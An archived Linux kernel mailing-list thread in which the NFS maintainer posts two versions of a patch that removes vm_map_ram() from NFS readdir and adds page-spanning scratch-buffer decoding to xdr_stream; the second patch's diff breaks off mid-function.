Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.17]) by sacrsexc2-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Sat, 8 Jan 2011 08:49:46 -0800
Original-Received: from 10.58.57.11 ([10.58.57.11]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Sat,  8 Jan 2011 16:49:45 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 08 Jan 2011 11:49:44 -0500
In-Reply-To: <1294427467.4895.66.camel-0iu6Cu4xQGLYCGPCin2YbQ@public.gmane.org>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 08 Jan 2011 16:49:46.0175 (UTC) FILETIME=[0E45A4F0:01CBAF54]
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38101 gmane.linux.kernel:1085251 gmane.linux.ports.arm.kernel:101942 gmane.linux.ports.parisc:3356 gmane.linux.kernel.cross-arch:8728
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38101>

On Fri, 2011-01-07 at 13:11 -0600, James Bottomley wrote: 
> On the other hand, the xdr routines, since they take the pages anyway,
> could use a scatterlist approach to writing through the kernel mapping
> instead of using vmap ... we have all the machinery for this in
> lib/scatterlist.c ... it's not designed for this case, since it's
> designed to allow arbitrary linear reads and writes on a block
> scatterlist, but the principle is the same ... it looks like it would be
> rather a big patch, though ... 

The following alternative seems to work for me, but has only been
lightly tested so far. It's a bit large for a stable patch, but not too
ungainly.

It modifies xdr_stream, adding the ability to iterate through page data.
To avoid kmap()/kunmap(), it does require that pages be allocated in
lowmem, but since the only use case here is when using page arrays as
temporary buffers, that seems like an acceptable compromise.

Cheers
  Trond

--------------------------------------------------------------------------------- 
>From f87f13e3198ec536c1b9cfe19ad47df4fb922382 Mon Sep 17 00:00:00 2001
From: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Date: Fri, 7 Jan 2011 18:51:33 -0500
Subject: [PATCH] NFS: Don't use vm_map_ram() in readdir

vm_map_ram() is not available on NOMMU platforms, and causes trouble
on incoherrent architectures such as ARM when we access the page data
through both the direct and the virtual mapping.

The alternative is to use the direct mapping to access page data
for the case when we are not crossing a page boundary, but to copy
the data into a linear scratch buffer when we are accessing data
that spans page boundaries.

Signed-off-by: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
---
 fs/nfs/dir.c               |   45 ++++++++---------
 fs/nfs/nfs2xdr.c           |    6 --
 fs/nfs/nfs3xdr.c           |    6 --
 fs/nfs/nfs4xdr.c           |    6 --
 include/linux/sunrpc/xdr.h |    4 +-
 net/sunrpc/xdr.c           |  115 ++++++++++++++++++++++++++++++++++++--------
 6 files changed, 120 insertions(+), 62 deletions(-)

diff --git a/fs/nfs/dir.c b/fs/nfs/dir.c
index 996dd89..ad9e5e0 100644
--- a/fs/nfs/dir.c
+++ b/fs/nfs/dir.c
@@ -33,7 +33,6 @@
 #include <linux/namei.h>
 #include <linux/mount.h>
 #include <linux/sched.h>
-#include <linux/vmalloc.h>
 #include <linux/kmemleak.h>
 
 #include "delegation.h"
@@ -459,25 +458,27 @@ out:
 /* Perform conversion from xdr to cache array */
 static
 int nfs_readdir_page_filler(nfs_readdir_descriptor_t *desc, struct nfs_entry *entry,
-				void *xdr_page, struct page *page, unsigned int buflen)
+				struct page **xdr_pages, struct page *page, unsigned int buflen)
 {
 	struct xdr_stream stream;
-	struct xdr_buf buf;
-	__be32 *ptr = xdr_page;
+	struct xdr_buf buf = {
+		.pages = xdr_pages,
+		.page_len = buflen,
+		.buflen = buflen,
+		.len = buflen,
+	};
 	struct nfs_cache_array *array;
 	unsigned int count = 0;
+	struct page *scratch;
 	int status;
 
-	buf.head->iov_base = xdr_page;
-	buf.head->iov_len = buflen;
-	buf.tail->iov_len = 0;
-	buf.page_base = 0;
-	buf.page_len = 0;
-	buf.buflen = buf.head->iov_len;
-	buf.len = buf.head->iov_len;
-
-	xdr_init_decode(&stream, &buf, ptr);
+	scratch = alloc_page(GFP_KERNEL);
+	if (scratch == NULL)
+		return -ENOMEM;
 
+	xdr_init_decode(&stream, &buf, NULL);
+	xdr_set_scratch_buffer(&stream, page_address(scratch), PAGE_SIZE);
+	xdr_enter_page(&stream, buflen);
 
 	do {
 		status = xdr_decode(desc, entry, &stream);
@@ -506,6 +507,8 @@ int nfs_readdir_page_filler(nfs_readdir_descriptor_t *desc, struct nfs_entry *en
 		} else
 			status = PTR_ERR(array);
 	}
+
+	put_page(scratch);
 	return status;
 }
 
@@ -521,7 +524,6 @@ static
 void nfs_readdir_free_large_page(void *ptr, struct page **pages,
 		unsigned int npages)
 {
-	vm_unmap_ram(ptr, npages);
 	nfs_readdir_free_pagearray(pages, npages);
 }
 
@@ -530,9 +532,8 @@ void nfs_readdir_free_large_page(void *ptr, struct page **pages,
  * to nfs_readdir_free_large_page
  */
 static
-void *nfs_readdir_large_page(struct page **pages, unsigned int npages)
+int nfs_readdir_large_page(struct page **pages, unsigned int npages)
 {
-	void *ptr;
 	unsigned int i;
 
 	for (i = 0; i < npages; i++) {
@@ -541,13 +542,11 @@ void *nfs_readdir_large_page(struct page **pages, unsigned int npages)
 			goto out_freepages;
 		pages[i] = page;
 	}
+	return 0;
 
-	ptr = vm_map_ram(pages, npages, 0, PAGE_KERNEL);
-	if (!IS_ERR_OR_NULL(ptr))
-		return ptr;
 out_freepages:
 	nfs_readdir_free_pagearray(pages, i);
-	return NULL;
+	return -ENOMEM;
 }
 
 static
@@ -577,8 +576,8 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descriptor_t *desc, struct page *page,
 	memset(array, 0, sizeof(struct nfs_cache_array));
 	array->eof_index = -1;
 
-	pages_ptr = nfs_readdir_large_page(pages, array_size);
-	if (!pages_ptr)
+	status = nfs_readdir_large_page(pages, array_size);
+	if (status < 0)
 		goto out_release_array;
 	do {
 		unsigned int pglen;
@@ -587,7 +586,7 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descriptor_t *desc, struct page *page,
 		if (status < 0)
 			break;
 		pglen = status;
-		status = nfs_readdir_page_filler(desc, &entry, pages_ptr, page, pglen);
+		status = nfs_readdir_page_filler(desc, &entry, pages, page, pglen);
 		if (status < 0) {
 			if (status == -ENOSPC)
 				status = 0;
diff --git a/fs/nfs/nfs2xdr.c b/fs/nfs/nfs2xdr.c
index 5914a19..b382a1b 100644
--- a/fs/nfs/nfs2xdr.c
+++ b/fs/nfs/nfs2xdr.c
@@ -487,12 +487,6 @@ nfs_decode_dirent(struct xdr_stream *xdr, struct nfs_entry *entry, struct nfs_se
 
 	entry->d_type = DT_UNKNOWN;
 
-	p = xdr_inline_peek(xdr, 8);
-	if (p != NULL)
-		entry->eof = !p[0] && p[1];
-	else
-		entry->eof = 0;
-
 	return p;
 
 out_overflow:
diff --git a/fs/nfs/nfs3xdr.c b/fs/nfs/nfs3xdr.c
index f6cc60f..ba91236 100644
--- a/fs/nfs/nfs3xdr.c
+++ b/fs/nfs/nfs3xdr.c
@@ -647,12 +647,6 @@ nfs3_decode_dirent(struct xdr_stream *xdr, struct nfs_entry *entry, struct nfs_s
 			memset((u8*)(entry->fh), 0, sizeof(*entry->fh));
 	}
 
-	p = xdr_inline_peek(xdr, 8);
-	if (p != NULL)
-		entry->eof = !p[0] && p[1];
-	else
-		entry->eof = 0;
-
 	return p;
 
 out_overflow:
diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c
index 9f1826b..0662a98 100644
--- a/fs/nfs/nfs4xdr.c
+++ b/fs/nfs/nfs4xdr.c
@@ -6215,12 +6215,6 @@ __be32 *nfs4_decode_dirent(struct xdr_stream *xdr, struct nfs_entry *entry,
 	if (verify_attr_len(xdr, p, len) < 0)
 		goto out_overflow;
 
-	p = xdr_inline_peek(xdr, 8);
-	if (p != NULL)
-		entry->eof = !p[0] && p[1];
-	else
-		entry->eof = 0;
-
 	return p;
 
 out_overflow:
diff --git a/include/linux/sunrpc/xdr.h b/include/linux/sunrpc/xdr.h
index 498ab93..7783c68 100644
--- a/include/linux/sunrpc/xdr.h
+++ b/include/linux/sunrpc/xdr.h
@@ -201,6 +201,8 @@ struct xdr_stream {
 
 	__be32 *end;		/* end of available buffer space */
 	struct kvec *iov;	/* pointer to the current kvec */
+	struct kvec scratch;	/* Scratch buffer */
+	struct page **page_ptr;	/* pointer to the current page */
 };
 
 extern void xdr_init_encode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p);
@@ -208,7 +210,7 @@ extern __be32 *xdr_reserve_space(struct xdr_stream *xdr, size_t nbytes);
 extern void xdr_write_pages(struct xdr_stream *xdr, struct page **pages,
 		unsigned int base, unsigned int len);
 extern void xdr_init_decode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p);
-extern __be32 *xdr_inline_peek(struct xdr_stream *xdr, size_t nbytes);
+extern void xdr_set_scratch_buffer(struct xdr_stream *xdr, void *buf, size_t buflen);
 extern __be32 *xdr_inline_decode(struct xdr_stream *xdr, size_t nbytes);
 extern void xdr_read_pages(struct xdr_stream *xdr, unsigned int len);
 extern void xdr_enter_page(struct xdr_stream *xdr, unsigned int len);
diff --git a/net/sunrpc/xdr.c b/net/sunrpc/xdr.c
index cd9e841..cff0974 100644
--- a/net/sunrpc/xdr.c
+++ b/net/sunrpc/xdr.c
@@ -569,29 +569,112 @@ void xdr_init_decode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p)
 	xdr->iov = iov;
 	xdr->p = p;
 	xdr->end = (__be32 *)((char *)iov->iov_base + len);
+	xdr->page_ptr = NULL;
+	xdr->scratch.iov_base = NULL;
+	xdr->scratch.iov_len = 0;
 }
 EXPORT_SYMBOL_GPL(xdr_init_decode);
 
 /**
- * xdr_inline_peek - Allow read-ahead in the XDR data stream
+ * xdr_set_scratch_buffer - Attach a scratch buffer for decoding data.
  * @xdr: pointer to xdr_stream struct
- * @nbytes: number of bytes of data to decode
+ * @buf: pointer to an empty buffer
+ * @buflen: size of 'buf'
  *
- * Check if the input buffer is long enough to enable us to decode
- * 'nbytes' more bytes of data starting at the current position.
- * If so return the current pointer without updating the current
- * pointer position.
+ * The scratch buffer is used when decoding from an array of pages.
+ * If an xdr_inline_decode() call spans across page boundaries, then
+ * we copy the data into the scratch buffer in order to allow linear
+ * access.
  */
-__be32 * xdr_inline_peek(struct xdr_stream *xdr, size_t nbytes)
+void xdr_set_scratch_buffer(struct xdr_stream *xdr, void *buf, size_t buflen)
+{
+	xdr->scratch.iov_base = buf;
+	xdr->scratch.iov_len = buflen;
+}
+EXPORT_SYMBOL_GPL(xdr_set_scratch_buffer);
+
+static int xdr_set_page_base(struct xdr_stream *xdr,
+		unsigned int base, unsigned int len)
+{
+	unsigned int pgnr;
+	unsigned int maxlen;
+	unsigned int pgoff;
+	unsigned int pgend;
+	void *kaddr;
+
+	maxlen = xdr->buf->page_len;
+	if (base >= maxlen)
+		return -EINVAL;
+	maxlen -= base;
+
+	if (len > maxlen)
+		len = maxlen;
+
+	base += xdr->buf->page_base;
+
+	pgnr = base >> PAGE_SHIFT;
+	xdr->page_ptr = &xdr->buf->pages[pgnr];
+	kaddr = page_address(*xdr->page_ptr);
+
+	pgoff = base & ~PAGE_MASK;
+	xdr->p = (__be32*)(kaddr + pgoff);
+
+	pgend = pgoff + len;
+	if (pgend > PAGE_SIZE)
+		pgend = PAGE_SIZE;
+	xdr->end = (__be32*)(kaddr + pgend);
+	return 0;
+}
+
+static int xdr_set_next_page(struct xdr_stream *xdr)
+{
+	unsigned int newbase;
+
+	newbase = (1 + xdr->page_ptr - xdr->buf->pages) << PAGE_SHIFT;
+	newbase -= xdr->buf->page_base;
+
+	return xdr_set_page_base(xdr, newbase, PAGE_SIZE);
+}
+
+static __be32 * __xdr_inline_decode(struct xdr_stream *xdr, size_t nbytes)
 {
 	__be32 *p = xdr->p;
 	__be32 *q = p + XDR_QUADLEN(nbytes);
 
 	if (unlikely(q > xdr->end || q < p))
 		return NULL;
+	xdr->p = q;
 	return p;
 }
-EXPORT_SYMBOL_GPL(xdr_inline_peek);
+
+static __be32 *xdr_page_inline_decode(struct xdr_stream *xdr, size_t nbytes)
+{
+	size_t cplen;
+	void *cpdest;
+	__be32 *p;
+
+	if (xdr->p == xdr->end && xdr_set_next_page(xdr) < 0)
+		return NULL;
+
+	p = __xdr_inline_decode(xdr, nbytes);
+	if (p != NULL)
+		return p;
+
+	if (nbytes > xdr->scratch.iov_len)
+		return NULL;
+	cplen = (char *)xdr->end - (char *)xdr->p;
+	cpdest = xdr->scratch.iov_base;
+	memcpy(cpdest, xdr->p, cplen);
+	cpdest += cplen;
+	nbytes -= cplen;
+	if (xdr_set_next_page(xdr) < 0)
+		return NULL;
+	p = __xdr_inline_decode(xdr, nbytes);
+	if (p == NULL)
+		return NULL;
+	memcpy(cpdest, p, nbytes);
+	return xdr->scratch.iov_base;
+}
 
 /**
  * xdr_inline_decode - Retrieve non-page XDR data to decode
@@ -605,13 +688,9 @@ EXPORT_SYMBOL_GPL(xdr_inline_peek);
  */
 __be32 * xdr_inline_decode(struct xdr_stream *xdr, size_t nbytes)
 {
-	__be32 *p = xdr->p;
-	__be32 *q = p + XDR_QUADLEN(nbytes);
-
-	if (unlikely(q > xdr->end || q < p))
-		return NULL;
-	xdr->p = q;
-	return p;
+	if (xdr->page_ptr == NULL)
+		return __xdr_inline_decode(xdr, nbytes);
+	return xdr_page_inline_decode(xdr, nbytes);
 }
 EXPORT_SYMBOL_GPL(xdr_inline_decode);
 
@@ -671,16 +750,12 @@ EXPORT_SYMBOL_GPL(xdr_read_pages);
  */
 void xdr_enter_page(struct xdr_stream *xdr, unsigned int len)
 {
-	char * kaddr = page_address(xdr->buf->pages[0]);
 	xdr_read_pages(xdr, len);
 	/*
 	 * Position current pointer at beginning of tail, and
 	 * set remaining message length.
 	 */
-	if (len > PAGE_CACHE_SIZE - xdr->buf->page_base)
-		len = PAGE_CACHE_SIZE - xdr->buf->page_base;
-	xdr->p = (__be32 *)(kaddr + xdr->buf->page_base);
-	xdr->end = (__be32 *)((char *)xdr->p + len);
+	xdr_set_page_base(xdr, 0, len);
 }
 EXPORT_SYMBOL_GPL(xdr_enter_page);
 
-- 
1.7.3.4



-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org
www.netapp.com

--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust@netapp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.nfs,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Sat, 08 Jan 2011 18:15:51 -0500
Organization: NetApp Inc
Lines: 459
Approved: news@gmane.org
Message-ID: <1294528551.4181.19.camel@heimdal.trondhjem.org>
References: <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <1294336054.2905.1.camel@heimdal.trondhjem.org>
	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
	 <20110107190229.GX31708@n2100.arm.linux.org.uk>
	 <1294427467.4895.66.camel@mulgrave.site>
	 <1294505384.4181.14.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1294528654 32324 80.91.229.12 (8 Jan 2011 23:17:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 8 Jan 2011 23:17:34 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Jan 09 00:17:28 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Pbi2J-0000lK-DW
	for glk-linux-kernel-3@lo.gmane.org; Sun, 09 Jan 2011 00:17:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752484Ab1AHXRI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 8 Jan 2011 18:17:08 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:59126 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752267Ab1AHXRG convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 8 Jan 2011 18:17:06 -0500
X-IronPort-AV: E=Sophos;i="4.60,295,1291622400"; 
   d="scan'208";a="503133927"
Original-Received: from smtp1.corp.netapp.com ([10.57.156.124])
  by mx2-out.netapp.com with ESMTP; 08 Jan 2011 15:16:46 -0800
Original-Received: from svlrsexc2-prd.hq.netapp.com (svlrsexc2-prd.hq.netapp.com [10.57.115.31])
	by smtp1.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p08NFro8007578;
	Sat, 8 Jan 2011 15:16:42 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.17]) by svlrsexc2-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Sat, 8 Jan 2011 15:15:54 -0800
Original-Received: from 10.58.57.11 ([10.58.57.11]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Sat,  8 Jan 2011 23:15:53 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 08 Jan 2011 18:15:52 -0500
In-Reply-To: <1294505384.4181.14.camel@heimdal.trondhjem.org>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 08 Jan 2011 23:15:54.0439 (UTC) FILETIME=[FFA22D70:01CBAF89]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1085298 gmane.linux.nfs:38102 gmane.linux.ports.arm.kernel:101945 gmane.linux.ports.parisc:3357 gmane.linux.kernel.cross-arch:8731
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1085298>

On Sat, 2011-01-08 at 11:49 -0500, Trond Myklebust wrote: 
> On Fri, 2011-01-07 at 13:11 -0600, James Bottomley wrote: 
> > On the other hand, the xdr routines, since they take the pages anyway,
> > could use a scatterlist approach to writing through the kernel mapping
> > instead of using vmap ... we have all the machinery for this in
> > lib/scatterlist.c ... it's not designed for this case, since it's
> > designed to allow arbitrary linear reads and writes on a block
> > scatterlist, but the principle is the same ... it looks like it would be
> > rather a big patch, though ... 
> 
> The following alternative seems to work for me, but has only been
> lightly tested so far. It's a bit large for a stable patch, but not too
> ungainly.
> 
> It modifies xdr_stream, adding the ability to iterate through page data.
> To avoid kmap()/kunmap(), it does require that pages be allocated in
> lowmem, but since the only use case here is when using page arrays as
> temporary buffers, that seems like an acceptable compromise.

...and here is an update which makes the whole process transparent to
the decoder. It basically teaches xdr_inline_decode() how to switch
buffers when it hits the end of the current iovec and/or page.

Cheers
  Trond
----------------------------------------------------------------------------------- 
>From 8b2e60cef5c65eef41ab61286f62dec6bfb1ac27 Mon Sep 17 00:00:00 2001
From: Trond Myklebust <Trond.Myklebust@netapp.com>
Date: Sat, 8 Jan 2011 17:45:38 -0500
Subject: [PATCH] NFS: Don't use vm_map_ram() in readdir

vm_map_ram() is not available on NOMMU platforms, and causes trouble
on incoherrent architectures such as ARM when we access the page data
through both the direct and the virtual mapping.

The alternative is to use the direct mapping to access page data
for the case when we are not crossing a page boundary, but to copy
the data into a linear scratch buffer when we are accessing data
that spans page boundaries.

Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
---
 fs/nfs/dir.c               |   44 ++++++-------
 fs/nfs/nfs2xdr.c           |    6 --
 fs/nfs/nfs3xdr.c           |    6 --
 fs/nfs/nfs4xdr.c           |    6 --
 include/linux/sunrpc/xdr.h |    4 +-
 net/sunrpc/xdr.c           |  155 +++++++++++++++++++++++++++++++++++---------
 6 files changed, 148 insertions(+), 73 deletions(-)

diff --git a/fs/nfs/dir.c b/fs/nfs/dir.c
index 996dd89..0108cf4 100644
--- a/fs/nfs/dir.c
+++ b/fs/nfs/dir.c
@@ -33,7 +33,6 @@
 #include <linux/namei.h>
 #include <linux/mount.h>
 #include <linux/sched.h>
-#include <linux/vmalloc.h>
 #include <linux/kmemleak.h>
 
 #include "delegation.h"
@@ -459,25 +458,26 @@ out:
 /* Perform conversion from xdr to cache array */
 static
 int nfs_readdir_page_filler(nfs_readdir_descriptor_t *desc, struct nfs_entry *entry,
-				void *xdr_page, struct page *page, unsigned int buflen)
+				struct page **xdr_pages, struct page *page, unsigned int buflen)
 {
 	struct xdr_stream stream;
-	struct xdr_buf buf;
-	__be32 *ptr = xdr_page;
+	struct xdr_buf buf = {
+		.pages = xdr_pages,
+		.page_len = buflen,
+		.buflen = buflen,
+		.len = buflen,
+	};
+	struct page *scratch;
 	struct nfs_cache_array *array;
 	unsigned int count = 0;
 	int status;
 
-	buf.head->iov_base = xdr_page;
-	buf.head->iov_len = buflen;
-	buf.tail->iov_len = 0;
-	buf.page_base = 0;
-	buf.page_len = 0;
-	buf.buflen = buf.head->iov_len;
-	buf.len = buf.head->iov_len;
-
-	xdr_init_decode(&stream, &buf, ptr);
+	scratch = alloc_page(GFP_KERNEL);
+	if (scratch == NULL)
+		return -ENOMEM;
 
+	xdr_init_decode(&stream, &buf, NULL);
+	xdr_set_scratch_buffer(&stream, page_address(scratch), PAGE_SIZE);
 
 	do {
 		status = xdr_decode(desc, entry, &stream);
@@ -506,6 +506,8 @@ int nfs_readdir_page_filler(nfs_readdir_descriptor_t *desc, struct nfs_entry *en
 		} else
 			status = PTR_ERR(array);
 	}
+
+	put_page(scratch);
 	return status;
 }
 
@@ -521,7 +523,6 @@ static
 void nfs_readdir_free_large_page(void *ptr, struct page **pages,
 		unsigned int npages)
 {
-	vm_unmap_ram(ptr, npages);
 	nfs_readdir_free_pagearray(pages, npages);
 }
 
@@ -530,9 +531,8 @@ void nfs_readdir_free_large_page(void *ptr, struct page **pages,
  * to nfs_readdir_free_large_page
  */
 static
-void *nfs_readdir_large_page(struct page **pages, unsigned int npages)
+int nfs_readdir_large_page(struct page **pages, unsigned int npages)
 {
-	void *ptr;
 	unsigned int i;
 
 	for (i = 0; i < npages; i++) {
@@ -541,13 +541,11 @@ void *nfs_readdir_large_page(struct page **pages, unsigned int npages)
 			goto out_freepages;
 		pages[i] = page;
 	}
+	return 0;
 
-	ptr = vm_map_ram(pages, npages, 0, PAGE_KERNEL);
-	if (!IS_ERR_OR_NULL(ptr))
-		return ptr;
 out_freepages:
 	nfs_readdir_free_pagearray(pages, i);
-	return NULL;
+	return -ENOMEM;
 }
 
 static
@@ -577,8 +575,8 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descriptor_t *desc, struct page *page,
 	memset(array, 0, sizeof(struct nfs_cache_array));
 	array->eof_index = -1;
 
-	pages_ptr = nfs_readdir_large_page(pages, array_size);
-	if (!pages_ptr)
+	status = nfs_readdir_large_page(pages, array_size);
+	if (status < 0)
 		goto out_release_array;
 	do {
 		unsigned int pglen;
@@ -587,7 +585,7 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descriptor_t *desc, struct page *page,
 		if (status < 0)
 			break;
 		pglen = status;
-		status = nfs_readdir_page_filler(desc, &entry, pages_ptr, page, pglen);
+		status = nfs_readdir_page_filler(desc, &entry, pages, page, pglen);
 		if (status < 0) {
 			if (status == -ENOSPC)
 				status = 0;
diff --git a/fs/nfs/nfs2xdr.c b/fs/nfs/nfs2xdr.c
index 5914a19..b382a1b 100644
--- a/fs/nfs/nfs2xdr.c
+++ b/fs/nfs/nfs2xdr.c
@@ -487,12 +487,6 @@ nfs_decode_dirent(struct xdr_stream *xdr, struct nfs_entry *entry, struct nfs_se
 
 	entry->d_type = DT_UNKNOWN;
 
-	p = xdr_inline_peek(xdr, 8);
-	if (p != NULL)
-		entry->eof = !p[0] && p[1];
-	else
-		entry->eof = 0;
-
 	return p;
 
 out_overflow:
diff --git a/fs/nfs/nfs3xdr.c b/fs/nfs/nfs3xdr.c
index f6cc60f..ba91236 100644
--- a/fs/nfs/nfs3xdr.c
+++ b/fs/nfs/nfs3xdr.c
@@ -647,12 +647,6 @@ nfs3_decode_dirent(struct xdr_stream *xdr, struct nfs_entry *entry, struct nfs_s
 			memset((u8*)(entry->fh), 0, sizeof(*entry->fh));
 	}
 
-	p = xdr_inline_peek(xdr, 8);
-	if (p != NULL)
-		entry->eof = !p[0] && p[1];
-	else
-		entry->eof = 0;
-
 	return p;
 
 out_overflow:
diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c
index 9f1826b..0662a98 100644
--- a/fs/nfs/nfs4xdr.c
+++ b/fs/nfs/nfs4xdr.c
@@ -6215,12 +6215,6 @@ __be32 *nfs4_decode_dirent(struct xdr_stream *xdr, struct nfs_entry *entry,
 	if (verify_attr_len(xdr, p, len) < 0)
 		goto out_overflow;
 
-	p = xdr_inline_peek(xdr, 8);
-	if (p != NULL)
-		entry->eof = !p[0] && p[1];
-	else
-		entry->eof = 0;
-
 	return p;
 
 out_overflow:
diff --git a/include/linux/sunrpc/xdr.h b/include/linux/sunrpc/xdr.h
index 498ab93..7783c68 100644
--- a/include/linux/sunrpc/xdr.h
+++ b/include/linux/sunrpc/xdr.h
@@ -201,6 +201,8 @@ struct xdr_stream {
 
 	__be32 *end;		/* end of available buffer space */
 	struct kvec *iov;	/* pointer to the current kvec */
+	struct kvec scratch;	/* Scratch buffer */
+	struct page **page_ptr;	/* pointer to the current page */
 };
 
 extern void xdr_init_encode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p);
@@ -208,7 +210,7 @@ extern __be32 *xdr_reserve_space(struct xdr_stream *xdr, size_t nbytes);
 extern void xdr_write_pages(struct xdr_stream *xdr, struct page **pages,
 		unsigned int base, unsigned int len);
 extern void xdr_init_decode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p);
-extern __be32 *xdr_inline_peek(struct xdr_stream *xdr, size_t nbytes);
+extern void xdr_set_scratch_buffer(struct xdr_stream *xdr, void *buf, size_t buflen);
 extern __be32 *xdr_inline_decode(struct xdr_stream *xdr, size_t nbytes);
 extern void xdr_read_pages(struct xdr_stream *xdr, unsigned int len);
 extern void xdr_enter_page(struct xdr_stream *xdr, unsigned int len);
diff --git a/net/sunrpc/xdr.c b/net/sunrpc/xdr.c
index cd9e841..679cd67 100644
--- a/net/sunrpc/xdr.c
+++ b/net/sunrpc/xdr.c
@@ -552,6 +552,74 @@ void xdr_write_pages(struct xdr_stream *xdr, struct page **pages, unsigned int b
 }
 EXPORT_SYMBOL_GPL(xdr_write_pages);
 
+static void xdr_set_iov(struct xdr_stream *xdr, struct kvec *iov,
+		__be32 *p, unsigned int len)
+{
+	if (len > iov->iov_len)
+		len = iov->iov_len;
+	if (p == NULL)
+		p = (__be32*)iov->iov_base;
+	xdr->p = p;
+	xdr->end = (__be32*)(iov->iov_base + len);
+	xdr->iov = iov;
+	xdr->page_ptr = NULL;
+}
+
+static int xdr_set_page_base(struct xdr_stream *xdr,
+		unsigned int base, unsigned int len)
+{
+	unsigned int pgnr;
+	unsigned int maxlen;
+	unsigned int pgoff;
+	unsigned int pgend;
+	void *kaddr;
+
+	maxlen = xdr->buf->page_len;
+	if (base >= maxlen)
+		return -EINVAL;
+	maxlen -= base;
+	if (len > maxlen)
+		len = maxlen;
+
+	base += xdr->buf->page_base;
+
+	pgnr = base >> PAGE_SHIFT;
